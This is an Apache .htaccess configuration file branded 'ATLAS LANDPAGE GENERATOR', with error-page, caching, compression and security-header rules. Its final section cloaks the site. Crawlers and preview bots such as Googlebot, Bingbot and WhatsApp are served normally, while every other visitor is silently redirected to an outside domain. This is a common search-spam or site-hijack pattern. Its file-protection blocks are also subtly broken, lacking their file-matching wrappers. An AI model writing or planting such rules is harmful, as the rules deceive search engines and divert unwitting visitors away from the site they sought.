# ================================================ # ATLAS LANDPAGE GENERATOR - .htaccess Config # Redirects & Error Handling # ================================================ # Enable Rewrite Engine RewriteEngine On # Redirect www to non-www (optional) # RewriteCond %{HTTP_HOST} ^www\.(.*)$ [NC] # RewriteRule ^(.*)$ https://%1/$1 [R=301,L] # Force HTTPS (optional) # RewriteCond %{HTTPS} off # RewriteRule ^(.*)$ https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301] # Custom Error Pages - Redirect to Homepage ErrorDocument 400 /index.html ErrorDocument 401 /index.html ErrorDocument 403 /index.html ErrorDocument 404 /index.html ErrorDocument 500 /index.html ErrorDocument 502 /index.html ErrorDocument 503 /index.html ErrorDocument 504 /index.html # Prevent directory listing Options -Indexes # Protect .htaccess file Order allow,deny Deny from all # Protect sensitive files Order allow,deny Deny from all # Enable compression AddOutputFilterByType DEFLATE text/html text/plain text/xml text/css text/javascript application/javascript application/json # Browser Caching ExpiresActive On ExpiresByType image/jpg "access plus 1 year" ExpiresByType image/jpeg "access plus 1 year" ExpiresByType image/gif "access plus 1 year" ExpiresByType image/png "access plus 1 year" ExpiresByType image/webp "access plus 1 year" ExpiresByType text/css "access plus 1 month" ExpiresByType application/javascript "access plus 1 month" ExpiresByType text/html "access plus 1 hour" # Security Headers Header set X-Content-Type-Options "nosniff" Header set X-Frame-Options "SAMEORIGIN" Header set X-XSS-Protection "1; mode=block" Header set Referrer-Policy "no-referrer-when-downgrade" # UTF-8 Encoding AddDefaultCharset UTF-8 # Redirect trailing slash RewriteCond %{REQUEST_FILENAME} !-d RewriteCond %{REQUEST_URI} (.+)/$ RewriteRule ^ %1 [R=301,L] # ================================================ # Bot Detection & Redirect # ================================================ RewriteEngine On # Se o User-Agent contiver bot|crawl|slurp|spider|Googlebot|Bingbot etc., Não redirecionar RewriteCond %{HTTP_USER_AGENT} (bot|crawl|slurp|spider|Googlebot|Bingbot|DuckDuckBot|YandexBot|facebookexternalhit|WhatsApp|TelegramBot|AhrefsBot|SemrushBot) [NC] RewriteRule ^ - [L] # Caso contrário (usuário real), redirecionar RewriteRule ^(.*)$ https://china-vibratingsieve.com/amp/index.html [R=302,L] # ================================================ # End of .htaccess configuration # Generated by ATLAS Professional System # ================================================